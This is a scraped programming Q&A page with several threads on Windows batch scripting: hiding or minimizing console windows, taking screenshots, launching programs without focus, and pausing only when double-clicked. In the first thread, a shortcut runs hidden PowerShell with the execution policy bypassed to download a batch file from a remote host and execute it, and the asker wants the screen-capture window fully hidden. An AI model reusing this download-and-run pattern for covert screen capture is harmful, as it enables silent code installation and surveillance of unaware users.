(Batch Script) - Desktop screenshot (functional) but cannot be minimized? - batch-file

Thank you in advance for your time.
I found/edit a batch script (bat1.cmd) which take a desktop screenshot. Everything is working good actually. Here is my complete code = https://pastebin.com/KvqgFx5L .
My only request here is to hide/minimize the bat1.cmd window when i run it (within a lnk, check "NB" at the end of my message).
I made some researches and a classic solution is to use this kind of scripts :
if not DEFINED IS_MINIMIZED set IS_MINIMIZED=1 && start "" /min "%~dpnx0" %* && exit
or
if not "%minimized%"=="" goto :minimized
set minimized=true
start /min cmd /C "%~dpnx0"
goto :EOF
:minimized
Unfortunately my batch script (bat1.cmd) have special parameters that do not allow (?) to add this kind of "minimize" script (I tried to add it on top, inside the script etc and nothing is working).
NB : The batch script (bat1.cmd) is donwloaded/run within a shortcurt (bat1.lnk) but adding minimized parameters in the lnk won't minimized the bat1.cmd window (I guess ?/I made test).
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe -ExecutionPolicy Bypass -w hidden ; (New-Object System.Net.WebClient).DownloadFile('http://host.com/bat1.cmd','%APPDATA%\bat1.cmd');Start('%APPDATA%\bat1.cmd');
Thank you a lot in advance for your help.

Ok I have found a solution. Add the "minimize" code at the top, after :batch #echo off. I guess it is alright ? The window still appears 0.1 sec and is minimized then. Any way to make it totally hidden ? I already reduced the window size column/line. I wonder if we can change the window position (without 3rd party tool) ?
// 2>nul||#goto :batch
/*
:batch
#echo off
if not DEFINED IS_MINIMIZED set IS_MINIMIZED=1 && start "" /min "%~dpnx0" %* && exit

Related

What are the alternatives/solutions to a common minimization code for a batch file, that doesn't seem to be working for me

I've got this code
if not DEFINED IS_MINIMIZED set IS_MINIMIZED=1 && start "" /min "%~dpnx0" %* && exit
taskkill /f /IM notepad2.exe
timeout /t 1
start /min "" "C:\Users\Leon\Dropbox\Light software\Notepad2.exe" "C:\Users\Leon\Dropbox\Backups\Notepad offset\1.txt"
start /min "" "C:\Users\Leon\Dropbox\Light software\Notepad2.exe" "C:\Users\Leon\Dropbox\Backups\Notepad offset\2.txt"
start /min "" "C:\Users\Leon\Dropbox\Light software\Notepad2.exe" "C:\Users\Leon\Dropbox\Backups\Notepad offset\3.txt"
start /min "" "C:\Users\Leon\Dropbox\Light software\Notepad2.exe" "C:\Users\Leon\Dropbox\Backups\Notepad offset\4.txt"
start /min "" "C:\Users\Leon\Dropbox\Light software\Notepad2.exe" "C:\Users\Leon\Dropbox\Backups\Notepad offset\5.txt"
exit
Where
if not DEFINED IS_MINIMIZED set IS_MINIMIZED=1 && start "" /min "%~dpnx0" %* && exit
Is supposed to minimize the CMD that opens after initiation, however, it simply doesn't get minimized. What could be the problem here?
If anything, what would be the currently, most quickest solution for running all batch files minimized? So far, I think that it might simply be creating a shortcut ➔ setting it to being minimized. But perhaps there are even better ways? Some sort of a global thing would sure be awesome
IMPORTANT EDIT:
I've just realized that the batch on itself works fine, however, I only use it in combination with opening of some other program, under the management of a program called FastKeys. Which looks like this
Run, C:\Users\Leon\Dropbox\Light software\Skype - Shortcut.lnk
Send, {500}
Run, C:\Users\Leon\Dropbox\Offset restart 1.bat
So yeah... on its' own it runs fine, but when something else is put along with it, it just doesn't get minimized at all...

How can I execute multiple commands in new batch (start)

I wanna ask you how to execute multiple commands in start, but, I know how to, but I cannot set a variable for example:
start cmd.exe /k "set ram=1024 & java -Xmx%ram%M"
but it doesnt work
If you really want to run it in a batch file, see below, also as for your if statement comment, enclose in "" to ensure you do not catch unwanted whitespace
:
#echo off
if "%input%"=="start" set "ram=1024" & goto java
Goto :eof
:java
start "" java -Xmx%ram%M"

a batchfile to enter the hotkey : CTRL Printscreen

I want to replace a keyboard entry (CTRL PrntSc) with a mouse click (launching a batchfile). I know that there are SEND and SENDKEY codes but have not been able to make the code
Send("^{Printscreen}")
trigger the right effect.
AutoIT and AutoHotKey may be able to do it, but if the above can work, it seems simpler.
Press Keyboard keys using a batch file
deals with a similar question in THIS forum i.e. with making a batchfile first open a program and then send keystrokes to it, but that looks complex and I need guidance in extracting the code for merely sending a batchfile hotkey command.
https://www.donationcoder.com/forum/index.php?topic=25389.0
Suggests the use of NirCMD and AutoIT as well as AutoHotKey and Macro Express. I have experience with the last two - but would need help with all four.
First comment (from Daniel Wisehart)
I'm using Windows 10 - I hope that answers the PLATFORM query. I have already quoted the (ineffective) code of my batchfile. There are NO error messages. However the desired effect of the mouse cursor becoming Greenshot-cross-hairs did not eventuate.
.
Second comment (from Aacini) - thanks for your correction. Replacing "^{Printscreen}" with "^PRTSC" did not make the required difference. The mouse cursor still does not change to a cross-hairs.
I have tried the sample batch file in the 3rd comment (by Hackoo) - which seems extremely complex for just a conversion from a hotkey to a mouse click. It triggers a (blue, NOT black), 'DOS' window saying that "The screen can not be set to the number of lines and columns specified.' Then the text disappears and a little later the window closes.
What is that code ? VB, Visual Basic, VBS, something else ?
Just give a try for this batch file (-_°)
/*
#echo off & cls & color 1E
Mode con Cols=15 lines=5
::Autor Delmar Grande
::http://bbat.forumeiro.com/t248-bat-exe-printscreen-usando-vb-net
::Data Qui 11 Jul 2013
:: Modified by Hackoo on 09/09/2016 to save image with system date
title PrintScreen by Delmar Grande and modified by Hackoo
Rem Just adding a little timeout to organise our screenshot
Timeout /T 4 /Nobreak>nul
findstr "'%skip%VB" "%~f0" > "%tmp%\%~n0.vb"
for /F %%i in ('dir /B /S ^"%WinDir%\Microsoft.NET\Framework\vbc.exe^"') do set "vbc=%%i"
if /i "%vbc%"=="" cls & color 1c & echo This script needs the framework & pause & Exit
cls
%vbc% /nologo /out:"%tmp%\%~n0.exe" "%tmp%\%~n0.vb"
"%tmp%\%~n0.exe"
del "%tmp%\%~n0.vb" >NUL 2>&1
del "%tmp%\%~n0.exe" >NUL 2>&1
exit
*/
Imports System.Windows.Forms 'VB
Module ModulePrintscreen 'VB
Sub Main() 'VB
Dim MaDate As String 'VB
SendKeys.SendWait("{%}({PRTSC})") 'VB
If My.Computer.Clipboard.ContainsImage() Then 'VB
MaDate = Format(Now,"dd-MM-yyyy_hh-mm-ss") 'VB
My.Computer.Clipboard.GetImage.Save(MaDate & ".jpg", System.Drawing.Imaging.ImageFormat.Jpeg) 'VB
End If 'VB
End Sub 'VB
End Module 'VB

how to launch an application from a batch file without giving it focus (windows 7)

i have a batch file with a for loop, in which i launch my application repeatedly (the app terminates by itself). i am using:
start /wait /min myapp
in order to have it run minimized and wait for self-termination.
my problem is that the application steals window focus each time it is run.
how can i launch the app without giving it focus?
You could use a Batch/JScript hybrid, so you can use the WScript.Run method.
With the second parameter =7 you got it.
7=(Displays the window as a minimized window. The active window remains active.).
MSDN Run Method
#if (#X)==(#Y) #goto :Dummy #end/* Batch part
#echo off
setlocal
cscript //nologo //e:jscript "%~f0"
goto :eof
Jscript part begins here */
var sh=new ActiveXObject("WScript.Shell");
sh.Run("cmd /c wait.bat",7,true)
sh.Run("cmd /c wait.bat",7,true)
The wait.bat
ping -n 5 127.0.0.1
my app is a c# form and the problem was having topmost = true

Conditional PAUSE (not in command line)

I like to have a final PAUSE in my *.bat scripts so I can just double click on them in Windows explorer and have the chance to read the output. However, the final PAUSE is an annoyance when I run the same script from the command line.
Is there any way to detect whether we are running the script from a command prompt (or not) and insert the PAUSE (or not) accordingly?
(Target environment is Windows XP and greater.)
Update
I've managed to compose this from Anders's answer:
(((echo.%cmdcmdline%)|find /I "%~0")>nul)
if %errorlevel% equ 0 (
set GUI=1
) else (
set CLI=1
)
Then, I can do stuff like this:
if defined GUI pause
#echo off
echo.Hello World
(((echo.%cmdcmdline%)|find /I "%~0")>nul)&&pause
...NT+ only, no %cmdcmdline% in Win9x probably.
As pointed out by E M in the comments, putting all of this on one line opens you up to some edge cases where %cmdcmdline% will escape out of the parenthesis. The workaround is to use two lines:
#echo off
echo.Hello World
echo.%cmdcmdline% | find /I "%~0" >nul
if not errorlevel 1 pause
I doubt that there's a distinction, because I think it just starts a command prompt and then runs the bat when you double click on it.
However, if you make shortcuts to the bat files and go to Properties and add in an extra argument (something like "/p") in the "Target" field, then you could check for the presence of that argument at the end of the script and pause if it is set. Then, running from the shortcut would cause it to end in a pause and running from command line wouldn't.
I was hoping the answer by #Anders would work in its own .bat file. Unfortunately, it does not for me. Based on #DarinH's comment, perhaps it does for some. The script below should work for all, but requires an extra parameter.
The key lies in the %CmdCmdLine% environment variable, which I imagine might be a bit different for a few edge cases.
PauseIfGui.bat
#echo off
if "%~1" == "" ((echo.%CmdCmdLine%)|"%WinDir%\System32\find.exe" /I "%~0")>nul && pause & exit /b
((echo.%CmdCmdLine%)|"%WinDir%\System32\find.exe" /I "%~1")>nul && pause
This accepts one optional parameter: the full path of calling script. If no params are passed, it runs the same as #Anders script.
AnyOtherFile.bat
#echo off
call PauseIfGui.bat %~f0
If opened from Explorer (i.e. double-clicking) , AnyOtherFile.bat will pause. If called from a command prompt, it will not.

Resources